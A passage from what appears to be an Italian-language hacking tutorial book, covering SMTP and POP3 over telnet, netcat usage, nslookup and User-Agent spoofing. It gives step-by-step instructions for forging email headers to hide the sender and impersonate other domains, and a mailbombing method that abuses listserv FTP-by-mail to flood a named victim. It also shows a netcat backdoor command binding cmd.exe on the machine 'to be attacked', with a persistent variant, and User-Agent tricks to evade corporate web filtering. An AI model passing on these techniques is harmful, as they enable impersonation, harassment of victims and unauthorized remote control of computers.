[email protected], con telnet Da esegui telnet ok si apre il prompt del dos bisogna inserire: o smtp.vega.it 25 come nome del server. Alcuni invece prevedono l'uso dei due punti per delimitare nome e porta, la “o” sta per open. Dunque, una volta connessi a leonardo.it:25 avremo un messaggio di questo tipo: 220 ispout3.email.it ESMTP Il server sta ora aspettando comandi da parte nostra. La prima cosa da fare e` identificarsi, e cio` va fatto con il comando HELO in questo modo: HELO vega.it NOTA: usando Telnet *NON* e` possibile cancellare. Quindi digitate senza fretta, e se proprio sbagliate riavviate la connessione e ripetete tutto,oppure - in alcuni casi - puo` essere sufficiente premere invio e riscrivere la riga da zero. Non cancellate, anche se sembra funzionare. I risultati possono essere imprevedibili e potreste rivelare la vostra identita`. Talvolta e` possibile inserire un nome falso, ma i nuovi server conoscono gia` il vostro IP Address quando vi collegate, quindi tanto vale inserire il vero nome. La risposta sara`: 250 vega.it Hello NOMEPROVIDER.IT, pleased to meet you A questo punto dovremo dire al server qual'e` il nostro indirizzo di e-mail. Usiamo allo scopo il comando "MAIL FROM" e digitiamo:

Page 68: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

68

MAIL FROM: <[email protected]> ...ovviamente l'indirizzo da inserire e` quello falso =) Il server rispondera` con un messaggio. Se avremo sbagliato qualcosa, sara`un messaggio d'errore, e dovremo ripetere l'immissione. Non omettere le parentesi angolari. Usiamo il comando "RCPT TO" e scriviamo: RCPT TO: <[email protected] > Non omettere le parentesi angolari. Il server rispondera` con un altro messaggio. Ed ora che abbiamo definito sorgente e destinazione passiamo all'invio delle in-testazioni e del corpo del messaggio. Avvisiamo il server che siamo pronti, scrivendo: DATA e il server ci dira` di scrivere il messaggio e di concludere con un punto su una riga vuota. Fermiamoci un attimo. In ogni e-mail esistono delle intestazioni (headers)che si trovano prima del corpo del messaggio vero e proprio. Il loro scopo e` elencare tutti i computer attraverso i quali e` passato il messaggio,nonche` il nostro IP Address! Cio` potrebbe rivelare la nostra identita` a un hacker o a un SysAdmin esperto. Per evitarlo, digitiamo: Received: by nomeprovider.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58 dove nomeprovider.it e` il nome del vostro provider (quello che avete usato con HELO) e l'ultima parte (Sun, 12 Oct...) e` la data in formato standard. ID AA11212 va cambiato. Potete mettere un numero qualsiasi (possibilmente che inizi con AA1 piu` altre 4 cifre, per farlo sembrare piu` reale). Si tratta solo di un numero di serie del server, niente di importante. Ora dobbiamo digitare: Message-ID: <[email protected]> Cio` serve a far credere che il messaggio sia partito effettivamente dal server "microsoft.com" con l'ID AA11345 (puo` essere un numero qualsiasi,purche` NON uguale a quello inserito prima con l'intestazione "Received:").

Page 69: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

69

Inseriamo ora di nuovo il destinatario, la data e il soggetto della e-mail: To: Date: Sun, 12 Oct 97 11:30:27 Subject: questa e` una prova... Lasciamo uno spazio e scriviamo il messaggio che vogliamo inviare (lungo quanto vogliamo). Per concludere il messaggio lasciamo due righe vuo-te,digitiamo un punto, premiamo invio, scriviamo QUIT e invio. La FakeMail verra` inviata automaticamente dal server, e noi possiamo anche chiudere Telnet. E` importante inviare a se stessi dei messaggi di prova per vedere se il server scelto ha ricevuto i dati correttamente, se non sono stati commessi errori e, so-prattutto, per vedere se il proprio IP Address si trova in mezzo alle intestazioni "Received:", oppure (sbagliato) alla fine. Ora che sappiamo come fare ad inviare una FakeMail, possiamo passare al passo successivo: usare le FakeMail per far danni... vogliamo seppellire la mailbox di qualcuno? Creiamo una normale FakeMail con il metodo spiegato sopra, ma come mittente dovremo inserire l'indirizzo e-mail della vittima e come destinatario usiamo un "listserv" (come ad esempio [email protected]). Un Listserv e` un programma che invia programmi tramite e-mail nel caso non si riesca a prelevarlo via FTP. Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'e` un file di 20 megabyte il cui nome e` "enorme.gz" possiamo fare in modo che quei 20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima... Nell'esempio di cui sopra, dopo aver scritto i primi comandi della FakeMail, ar-rivati a "Subject:" scriviamo quanto segue: REPLY [email protected] CONNECT pluto.it anonymous [email protected] BINARY GET mieifiles/enorme.gz QUIT e concludiamo quindi con le due righe vuote, il punto, QUIT, ecc.

Page 70: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

70

Ecco la spiegazione passo passo:

REPLY indica l'indirizzo e-mail a cui rispondere CONNECT specifica il nome del provider a cui collegarsi e l'account da usare BINARY specifica un file di tipo binario (non va cambiato) GET specifica il nome del file da prelevare (completo di eventuali directory) QUIT termina la connessione Ovviamente, se dopo GET anziche` QUIT usiamo altri GET, il risultato sara` molto piu` dannoso. Nel caso di un file di 20 MB, riscrivendo altre 10volte il comando "GET ..." verranno mandati un totale di ben 200 megabyte al povero utente destinatario! E poiche` i server di e-mail spezzano i messaggi in tanti piccoli messaggi,la vit-tima riceverebbe migliaia e migliaia di messaggi...

Telnet per spedire la posta in pratica Telnet è il principale protocollo di Internet per realizzare delle connessioni con macchine in remoto. Da la possibilità di essere fisicamente sul proprio sistema e lavorare su un altro che può essere nella stanza accanto come dall'altra parte del mondo, la propria macchina (locale) diventa così un terminale remoto: tecnica-mente l'operazione è definita Remote Login. Esistono due tipi di server per la posta elettronica: SMTP e POP3 che potrebbero anche essere la stessa macchina. SMTP è la sigla che indica i server di posta in uscita, POP3 i server di posta in entrata. In poche parole, con un server SMTP si mandano le email, con un server POP3, invece, si ricevono le email sul proprio computer client. Il nostro client può inviare la nostra missiva grazie ad una opportuna sessione Telnet, tramite questa si manda il nostro messaggio al server SMTP il quale a sua volta lo manda al server POP3 di destinazione e, tramite una sessione Telnet compiuta dal ricevente, è possibile scaricarla nel computer client dell'amico che riceverà la lettera elettronica. Definiamo anche cos'è un HOST, un HOST non è altro che un codice alfanume-rico che identifica un computer in rete, per esempio pp1518.actarus.it è un Host, esso ci serve per distinguere quel computer da tutti gli altri che si trovano in rete. Ad ogni Host corrisponde un indirizzo IP. Vediamo un esempio di spedizione e ricezione di email, puntualizzando i pas-saggi.

Page 71: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

71

Supponiamo che [email protected] mandi una mail a [email protected], il compu-ter client di actarus apre una sessione Telnet e manda la mail attraverso il server di posta in entrata di tipo SMTP smtp.vega.it. Il server SMTP la recapita al server di posta in uscita di tipo POP3 venus pop.venus.it il quale a sua volta lo fa ricevere a Venusia sul suo client tramite una propria sessione Telnet. Tutti i passaggi che un messaggio ha subito da un server all'altro compaiono ne-gli 'Headers'. Fatta questa breve descrizione generale di come avviene la spedi-zione di una email, vediamo il comando telnet nella sua essenza. La sintassi per connettersi ad un servizio qualsiasi è la seguente: telnet provider.it porta Un server ha un nome unico (es: pippo.it), ma ad ogni servizio che esso offre è associata una corrispettiva porta: (es. 25 SMTP, 21 FTP, 110 POP3, 119 NNTP etc.), quindi se ci colleghiamo alla porta 25 ci risponderà (sempre perché è un numero unico valido per tutti i server) il servizio SMTP, ovviamente il servizio deve essere attivo sul server cioè ci deve essere "qualcuno" in ascolto sulla porta 25. Per collegarci a un server SMTP del provider Libero.it, digiteremo telnet

smtp.vega.it 25. Comandi SMTP

Una volta che ci siamo connessi al server smtp possiamo cominciare a digitare comandi. Eccone una lista: HELO vega.it Questo comando serve per salutare il server SMTP il quali ci riconoscerà dal no-stro IP. Il server SMTP non permette l'autenticazione, per questa funzione accor-re usare il server POP3 che vedremo più avanti. MAIL FROM: <[email protected]> Questo comando serve per indicare l'indirizzo email del mittente, è nostra cura dare l'email esatta, in caso contrario il destinatario potrà non riconoscerci. Non omettere le parentesi angolari. RCPT TO: <[email protected]> Questo comando serve per indicare l'indirizzo email del destinatario. Anche qui non omettere le parentesi angolari.

Page 72: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

72

DATA A questo comando segue una riga vuota che va riempita con la prima riga del no-stro messaggio, per terminare l'inserimento è sufficiente una riga contenete il so-lo punto: ".". VRFY: <[email protected]> Questo comando serve per accettarsi dell'esistenza di un indirizzo email. HELP oppure HELP <comando> Fornisce la lista dei comandi disponibile oppure da informazioni su un singolo comando. Vediamo una sessione di Telnet per spedire una email, supposto che l'autentica-zione sia già stata fatta, in caratteri monospace e in grassetto i comandi da digita-re e di seguito la risposta del server. Supposto di avere un programma di posta elettronica normale tipo Mozilla, Thunderbird o OutLook, ci autentichiamo facendo un semplice "get messa-ge"/"scarica la posta" sul nostro account di posta, in alternativa ci si può autenti-care con telnet tramite una sessione di collegamento al POP3 che vedremo più avanti. SESSIONE SMTP: telnet smtp.vega.it 25 Trying 100.99.198.97... Connected to vega.it. Escape character is '^]'. 220 vega.it ESMTP Sendmail 8.12.9 ready at Sun, 01 Sep 2003 00:00:00 +0200 (CEST) helo vega.it 250 vega.it Hello <Nome del proprio pc> [<IP del proprio pc>], pleased to meet you help 214-2.0.0 This is sendmail version 8.12.9 214-2.0.0 Topics: 214-2.0.0 HELO EHLO MAIL RCPT DATA 214-2.0.0 RSET NOOP QUIT HELP VRFY 214-2.0.0 EXPN VERB ETRN DSN AUTH 214-2.0.0 STARTTLS 214-2.0.0 For more info use "HELP <topic>". 214-2.0.0 To report bugs in the implementation send email to

Page 73: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

73

214-2.0.0 [email protected]. 214-2.0.0 For local information send email to Postmaster at your site. 214 2.0.0 End of HELP info mail from: <[email protected]> 250 2.1.0 <[email protected]>... Sender ok rcpt to: <[email protected]> 250 2.1.5 <[email protected]>... Recipient ok data 354 Enter mail, end with "." on a line by itself subject: Importante! ciao! Ci vediamo stasera? baci. . 250 2.0.0 <codice del messaggio> Message accepted for delivery quit 221 2.0.0 vega.it closing connection Connection closed by foreign host. Se non abbiamo eseguito l'autenticazione il server ci risponderà con: 550 5.7.1 [email protected]... SMTP relay denied, authenticate via POP/IMAP first Avrete sicuramente notato che siete stati voi a inserire il mittente che può essere così facilmente falsificato. Fate attenzione che il server SMTP comunque ag-giunge agli header dell'email il vostro indirizzo IP. Notate infatti che come risposta del saluto "helo", il server smtp vi dice il nome del vostro computer e anche l'IP, questi dati verranno aggiunti alla vostra email dal server e quindi la ricevente li potrà vedere. Al massimo potete confondere la mittente aggiungendo dei dati fasulli all'interno del comando "data" ma un oc-chio esperto capirà che siete stati voi a spedire la missiva. (Per risalire al compu-ter che ha mandato la email è spesso, ma non sempre, necessario ricorrere a dati sensibili e quindi solo la magistratura può in pratica risalire a voi). Comandi POP3

Connettiamoci al nostro ISP con telnet, esattamente al suo server di posta in en-trata:

Page 74: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

74

telnet pop.venus.it 110 la porta 110 è ovviamente quella del server che ci da il sevizio POP3. Ecco la lista dei comandi: user venusia pass segreto (il nostro nome utente e la nostra password.) LIST oppure STAT per ottenere la lista e la dimensione dei messaggi, List da la lista completa men-tre Stat da il valore complessivo. RETR: <nr del messaggio> per leggere il messaggio desiderato. TOP <nr del messaggio> <nr righe da vedere> permette di vedere solo le prime nr righe del messaggio nr.

DELE: <nr del messaggio> per cancellare un messaggio. Anche se esso viene effettivamente eliminato solo dopo essere usciti dalla connessione con QUIT. RSET per eliminare la marcatura fatta con "DELE". All'uscita, "QUIT", non verrà can-cellata alcuna email. QUIT la connessione termina e vengono cancellati i messaggi selezionati con DELE. Ecco una sessione Telnet per prelevare la posta: SESSIONE POP3: telnet pop.venus.it 110 Trying 193.70.192.70... Connected to pop.venus.it. Escape character is '^]'. +OK POP3 server ready (7.0.019) <[email protected]> user venusia +OK Password required

Page 75: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

75

pass segreta +OK 4 messages list +OK 1 871 2 6533 3 3980 4 743 . fornisce la lista delle email in ordine di arrivo al server pop3 e la loro lunghezza

in byte retr 4 +OK 743 bytes Return-Path: <[email protected]> Received: .... Date: Sun, 01 Sep 2003 00:00:00 +0200 (CEST) From: [email protected] Message-Id: <<codice del messaggio>@vega.it> subject: Importante! ciao! Ci vediamo stasera? baci. . abbiamo scaricato l'ultimo messaggio che è arrivato al server: il numero 4 da

743 byte. dele 4 +OK message marked for deletion stat +OK 3 11384 3 messaggi rimanenti con la lunghezza complessiva quit +OK POP3 server closing connection Connection closed by foreign host. solo all'uscita i messaggi marcati vengono cancellati Come può servire oggigiorno o in futuro un sistema così antiquato? Le risposte sono molteplici ma una può essere avere sotto controllo totale la posta. Pratica-mente può essere usato per cancellare i messaggi troppo grandi verificando le

Page 76: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

76

prime linee in modo da essere certi che sia spam. Senza dimenticare che tutti i mailer usano una sessione telnet per gestire la posta con i comandi che abbiamo visto anzi con molti meno, quindi l'azione diretta sul server dà possibilità di ordine superiore. Ultimamente mi capita di essere bersaglio di computer infetti che mandano virus sul mio server di posta elettronica con nomi a caso e come dominio kensan.it, mi sono arrivate decine di megabyte in poche ore intasandomi la mailbox. In questi casi la soluzione migliore è accedere con una sessione telnet alla casella elettronica, cancellare un po' di messaggi con il comando DELE e poi agire a li-vello di webmail per cancellare la rimanente parte di spam. In questo modo ho evitato di scaricare lo spam per liberare la mia mailbox. In ogni caso utilizzate Telnet solo se necessario, per vedere gli header nal caso raro che il vostro server di posta non lo permette. Con Gmail apriamo un messaggio e facciamo clic sul triangolino a destra vicino a Rispondi e scegliamo “Mostra originale” Per essere anonimi vi sono siti o proxy che lo fanno, rallentando di molto la con-nessione. Di seguito vi sono due esempi utilizzando il proxy JAP e TOR. ANONIMI: Utilizzare servizi online Molto più veloce e semplice è utilizzare un servizio on line come silentsurf http://silentsurf.co.uk/ proviamolo: ci colleghiamo a http://www.whatismyip.com/ che ci dice il nostro IP: Your IP Address Is: 151.48.74.245 ora colleghiamoci a silentsurf e da quì an-diamo su http://www.whatismyip.com , sorpresa l’IP risulta: 92.48.84.227 , ma dove si trova? Andiamo su: http://www.whatismyip.com/tools/ip-address-lookup.asp e inseriamo l’IP sorpresa : City Region/State Postal Code Country Name Country Code Time Zone UNITED KINGDOM UK +00:00

Page 77: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

77

NASCONDERE IP CON IL PROXY JAP

Con proxy ip errato

Page 78: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

78

Verifico mio IP collegandomi a whatinmyip.com

Attivo sul browser il proxy e mi mando una email (molto lento) Leggo email attivando l’opzione avanzata per vedere gli header: Mi collego a http://www.whatismyip.com/tools/ip-address-lookup.asp che mi dice che ip proviene da una università degli USA

Ip falso

Page 79: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

79

Aggirare i Controlli Modificando l’identità del Browser (e non solo)

Qualcuno avrà notato che nell’articolo precedente “3 Strumenti per Analizzare il Protocollo HTTP” la stessa interrogazione forniva 2 risultati diversi in base allo strumento utilizzato: o meglio in due casi restituiva il codice 200 (OK); in un ca-so invece, nel caso dell’interrogazione tramite netcat il risultato era 301 Moved Permanently.Il perché di questi risultati discrepanti si trova negli header che il client invia al server. Nei primi due casi viene inviato anche l’header “Host:”; header mancante nel caso di netcat. User Agent Qui mi interessa presentare e introdurre gli header HTTP lato client. In particolare un header, lo “User-Agent” può avere utilizzi sorprendenti. Installare User Agent su Firefox: https://addons.mozilla.org/it/firefox/addon/59/ Facciamo subito un esempio pratico. Utilizzo Firefox per collegarmi a www.libero.it. Il mio client (ovvero Firefox) è lo User Agent. Notate inoltre il campo Host: www.libero.it senza il quale, come dicevo prima, l’interrogazione non avrebbe esito positivo: GET / HTTP/1.1 Host: www.libero.it User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Come abbiamo visto il server sa che utilizzo Firefox 2.0.0.16 su piattaforma Windows XP (Windows NT 5.1). Dati interessanti per le statistiche, ma anche u-tili per chi vuol sferrare attacchi mirati a questa piattaforma. Lo User-Agent può essere contraffatto. E’ possibile travestire il browser facen-dolo passare per Internet Exploter o Opera (o qualsiasi altro User-Agent). Con Firefox possiamo ottenere questo tramite l’estensione User Agent Switcher. Una volta installata potremmo facilmente cambiare l’identità del nostro Firefox, selezionando dal menù Strumenti -> User Agent Switcher e quindi l’identità scelta. Ecco una sessione con il mio Firefox travestito da Internet Explorer: GET / HTTP/1.1 Host: www.libero.it User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Il server di Libero pensa di aver ricevuto la visita da un Explorer 7 su Vista (Windows NT 6.0).

Page 80: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

80

Come utilizzare questa tecnica? Per esempio aggirando il controllo di accesso basato su User-Agent. Qualche tempo fa apparve su Geekissimo un trucco che permetteva di leggere online delle riviste. Il sito era destinato ai soli utenti iPhone: il controllo era basa-to sulla verifica dello User-Agent.Bastava travestire Firefox da iPhone, utiliz-zando User Agent Switcher con Mobile Safari 1.1.3 – iPhone come identità ed il sito, prima riservato ai soli utenti iPhone, diventava accessibile a tutti! Un altro modo di utilizzare il travestimento User-Agent è quello per aggirare i controlli Websense.

Websense è un software utilizzato nelle grandi realtà aziendali per filtrare il traf-fico HTTP e inibire l’accesso a siti come MySpace, a siti pronografici, di warez, e tutti i siti che in genere non hanno a che vedere con le attività lavorative di un’azienda.La versione Enterprise 6.3.1 di Websense era affetto da un bug che permetteva di aggirare i filtri modificando lo User-Agent. Utilizzando uno dei seguenti parametri: User Agent : RealPlayer G2 User Agent : MSMSGS User Agent : StoneHttpAgent si poteva navigare sui siti censurati. Questi sono solo due esempi, potrebbero essercene altri. Il mascheramento ha un antidoto. Esiste un progetto, il Broeserrecon Project che ha come finalità lo sviluppo un sistema di fingerprinting passivo dei browser. Questo significa che Browserrecon è in grado di riconoscere un browser (o tenta-re di riconoscerlo) tramite un’analisi che si spinga oltre l’analisi dello User-Agent. Facciamo un esperimento. Travesto il mio Firefox da Opera/Vista con User A-gent Switcher e navigo sulle pagine di Browserrecon. Ecco il risultato: your browser sent via http_user_agent Opera/9.25 (Windows NT 6.0; U; en) fingerprinting identification with browserrecon (21 hits possible) Mozilla Firefox 2.0.0.14 (90.48% with 19 hits) Sgamato (o quasi). In realtà uso la versione 2.0.0.16: forse non sono aggiornate le firme. Come si travestono i browser si possono travestire i server. E come si possono individuare le vere identità degli uni, è possibile fare lo stesso con gli altri.

Page 81: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

81

Creare una backdoor con Netcat

Cos’è una backdoor? Una “porta di servizio” che permette l’amministrazione remota del computer. In genere dopo aver ottenuto l’accesso al computer l’hacker ha la necessità di tornare nel sistema in modo più agevole, oppure ha bisogno di un’interfaccia a linea di comando (shell) con la quale poter agire comodamente. In questo articolo vediamo come collegare a netcat in ascolto su di una porta Tcp la shell di sistema.

Per attivare netcat come backdoor usiamo il seguente comando sul computer da attaccare:

nc -l -p 9999 -vv -e cmd.exe

Vediamo nel dettaglio. Il parametro -l lo abbiamo già visto nell’articolo sul tra-sferimento di file e dice a netcat di “ascoltare” sulla porta Tcp indicata dal para-metro -p, in questo caso 9999 (valore arbitrario). Il cuore della tecnica è il para-metro -e, che seguito da cmd.exe istruisce netcat a eseguire (-e ovvero exec) il comando specificato (cmd.exe, la shell di Windows) veicolando l’input/output attraverso netcat stesso.

Come ci si collega ad un host su cui è stata messa questa backdoor? Ma natural-mente con netcat! Se il computer sotto controllo ha come indirizzo Ip 192.168.0.1, otterremo l’accesso remoto con il comando:

nc 192.168.0.1 9999 -vv

ci troveremo di fronte al prompt dei comandi di Windows; solo che questo prompt non è della nostra macchina, ma quello della macchina remota! Per uscire dalla backdoor basta semplicemente digitare exit e la connessione si chiude. E qui c’è un problema.

Una volta chiusa la connessione in netcat remoto smette di ascoltare, semplice-mente termina l’esecuzione; quindi non sarà più possibile collegarsi da remoto. Per aggirare questo problema ci viene in soccorso il parametro -L.

nc -L -p 9999 -vv > trojan <– notare la L maiuscola al posto di -l

Page 82: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

82

Il parametro -L istruisce netcat a mantenere aperta la porta e restare in ascolto anche quando il programma eseguito con il comando -e viene interrotto. Così si potrà entrare e uscire dal sistema a piacere.

Un avvertimento necessario: questa tecnica è pericolosissima! Aprire una ba-ckdoor in questo modo, aprire una shell senza la protezione di una password è quasi un suicidio, significa spalancare una porta del sistema a chiunque. Se lo fa-te su un vostro sistema, se proprio dovete farlo, fatelo per periodi brevissimi e su porte non standard o non facilmente intuibili (9999 e 12345 non vanno benissi-mo).

Leggere gli header HTTP e le pagine Web con Netcat

Con Netcat è possibile interagire direttamente con il protocollo HTTP. Questa interazione favorisce operazioni come l’analisi delle intestazioni oppure la contraffazione di campi, come per esempio lo User-Agent. Inoltre è possibile scaricare pagine web come con un browser.

Abbiamo visto in un altro articolo come sia possibile visualizzare gli header HTTP e stabilire il tipo di web server (pag 38) Nell’articolo citato venivano pre-sentati tre strumenti. L’esempio riferito a Netcat differiva dagli altri. Nella rispo-sta il codice di errore non indicava 200 ma 301. In quell’esempio mancava un campo: Host.

Il campo Host viene utilizzato per specificare a quale host fa riferimento la risor-sa richiesta. Può accadere infatti (è molto frequente a dire il vero) che un solo server ospiti diversi siti; in questo caso ad un unico indirizzo IP fanno riferimen-to diversi domini. Quindi è necessario specificare in modo dettagliato qual’è l’indirizzo preciso. Il campo Host dell’header HTTP serve proprio a questo sco-po. Se un web server supporta il virtual hosting e ospita diversi siti, alla richiesta di una risorsa senza il campo Host dichiarato non saprà come rispondere e resti-tuirà un messaggio di errore, nel caso dell’esempio dell’altro articolo codice 301.

Quindi per ottenere gli header (o una pagina) dal web tramite Netcat è necessario inserire sempre il campo Host.

Per semplificare le operazioni di interrogazione è utile crearsi in precedenza un file di testo contenente i codici HTTP, senza doverli scrivere “in diretta” e ri-schiare di pasticciare.

Per leggere gli header di risposta di un server facciamo così:

Page 83: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

83

1. Creiamo un file di testo con i comandi HTTP HEAD / HTTP/1.0 Host: www.libero.it

ricordandoci di andare a capo due volte alla fine del testo (dopo Host: www.libero.it). Salviamo il file col nome header.txt

2. Invochiamo Netcat dalla linea di comando:

nc www.libero.it 80 -vv < header.txt

dove naturalmente www.libero.it è l’host che ci interessa, 80 è la porta TCP e il parametro -vv costringe Netcat a dareci informazioni sull’operazione in corso, utile per capire quando e perché qualcosa è andato storto.

risultato:

HTTP/1.1 200 OK Date: Wed, 01 Oct 2008 21:59:22 GMT Server: Apache X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html

E’ possibile anche travestire Netcat da Firefox (o da Explorer o Opera…Pag 41) Per attuarla con Netcat basta inserire il campo User-Agent specificando il tipo di browser che desideriamo impersonare. Modifichiamo il file header.txt in questo modo:

HEAD / HTTP/1.0 Host: www.libero.it User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17

ricordando sempre il doppio a capo (due volte enter) alla fine. Eseguendo di nuovo l’interrogazione libero.it registrerà sui suoi log la visita e la attribuirà ad un browser Firefox.

Page 84: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

84

Recuperare pagine web

Per recuperare una pagina web con Netcat dobbiamo utilizzare il comando HTTP GET al posto di HEAD e specificare l’URL. Per scaricare la home page di Pil-lolHacking.Net modifichiamo il file header in questo modo:

GET / HTTP/1.0 Host: www.pillolhacking.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.17) Ge-cko/20080829 Firefox/2.0.0.17

ed eseguiamo:

nc www.pillolhacking.net 80 -vv < header.txt > pillolhacking.html

da notare la fine della riga: > pillolhacking.html. Questo fa in modo che la pagi-na venga salvata nel file pillolhacking.html. Naturalmente il file conterrà anche l’header HTTP oltre al codice HTML della pagina.

Come Scoprire il Mail Server di un Dominio con Nslookup (pag 29)

Quando si invia un’email il sistema deve conoscere il server SMTP incaricato di recapitare la posta elettronica di un dato dominio. Questa operazione viene effet-tuata tramite un’interrogazione al DNS, alla ricerca dei record MX. Ho scritto “dei record” perché i record MX, ovvero le informazioni che il DNS utilizza per identificare i server di posta elettronica, potrebbero essere più di uno. Possiamo conoscere quale server gestisce la posta interrogando il DNS manual-mente. Per farlo è possibile utilizzare nslookup dalla linea di comando. Apriamo una shell (cmd.exe su Windows) ed entriamo in nslookup digitando il nome del comando: C:\nslookup Otterremo l’accesso al prompt di nslookup: Server predefinito: resolver1.opendns.com Address: 208.67.222.222 Per effettuare l’interrogazione dobbiamo specificare che siamo alla ricerca di re-cord MX: > set q=mx

Page 85: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

85

dove q sta per query. A questo punto non rimane che digitare il nome del domi-nio di cui vogliamo ottenere gli indirizzi dei server SMTP: > set q=mx > pillolhacking.net Server: resolver1.opendns.com Address: 208.67.222.222 Risposta da un server non di fiducia: pillolhacking.net MX preference = 10, mail exchanger = m-04b.th.seeweb.it pillolhacking.net MX preference = 20, mail exchanger = smtp-avas.seeweb.it La risposta del DNS mostra i due server che gestiscono la posta di pillolha-cking.net. Quando qualcuno scrive un’email a pillolhacking.net, il server incaricato di reca-pitarla è m-04b.th.seeweb.it. Da notare i valori MX preference che indicano la priorità di utilizzo del server. Il numero più basso indica la priorità maggiore. Il server con il valore MX prefe-rence più basso (in genere 10) viene utilizzato per inviare la posta; gli altri sono utilizzati come backup nel caso in cui il server principale non dovesse esere di-sponibile. Per curiosità possiamo guardare a casa di altri più celebri sistemi come Google: > gmail.com Server: resolver1.opendns.com Address: 208.67.222.222 Risposta da un server non di fiducia: gmail.com MX preference = 10, mail exchanger = alt2.gmail-smtp-in.l.google.com gmail.com MX preference = 50, mail exchanger = gsmtp147.google.com gmail.com MX preference = 50, mail exchanger = gsmtp183.google.com gmail.com MX preference = 5, mail exchanger = gmail-smtp-in.l.google.com gmail.com MX preference = 10, mail exchanger = alt1.gmail-smtp-in.l.google.com > e perchè non la CIA? > cia.gov Server: resolver1.opendns.com Address: 208.67.222.222 Risposta da un server non di fiducia: cia.gov MX preference = 10, mail exchanger = mail2.ucia.gov

Page 86: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

86

cia.gov MX preference = 10, mail exchanger = mail1.ucia.gov

Inviare Email con Netcat

L’invio di posta elettronica su Internet si effettua tramite un protocol-lo chiamato SMTP, ovvero Simple Mail Transfert Protocol. L’SMTP è un protocollo testuale: si inviano comandi semplicemente collegando-si al server e digitandoli. Le azioni che andremo a vedere sono le stesse azioni che effettua automatica-mente un qualsiasi client di posta elettronica come Outlook o Thunderbird. Noi lo faremo manualmente, con l’ausilio di netcat.

Per inviare un’email manualmente occorre seguire alcuni passi:

1. Trovare il server SMTP del destinatario 2. Collegarsi al server 3. Invia il comando di riconoscimento HELO 4. Specificare l’indirizzo del mittente 5. Specificare l’indirizzo del destinatario 6. Digitare il corpo dell’email 7. Uscire dalla sessione

Vediamo nel dettaglio:

1. Trovare il server SMTP del destinatario

Spesso il server SMTP di un dominio è mail.nomedominio.it o smtp.nomedominio.com.

Si potrebbe utilizzare anche un qualsiasi server smtp open relay. Questi server, utilizzati dagli spammer, sono come dei proxy: permettono di inviare email a qualsiasi dominio. Invece i server smtp di un dominio specifico inviano solo email destinate a (o provenienti da) utenti del dominio stesso. Se per esempio volessi inviare un’email ad [email protected] potrei usare un qualsiasi server smtp open relay o il server smtp del dominio pillolha-cking.net.

Page 87: I primi operatori - hackerbridge profponteprofponte.altervista.org/wp-content/uploads/2013/12/LibroHackerVol1.pdftiene il risultato desiderato. Preghiamo notare che c'è uno spazio

87

2. Collegarsi al server

Una volta trovato il server entra in scena netcat. Per collegarsi si usa il seguente comando:

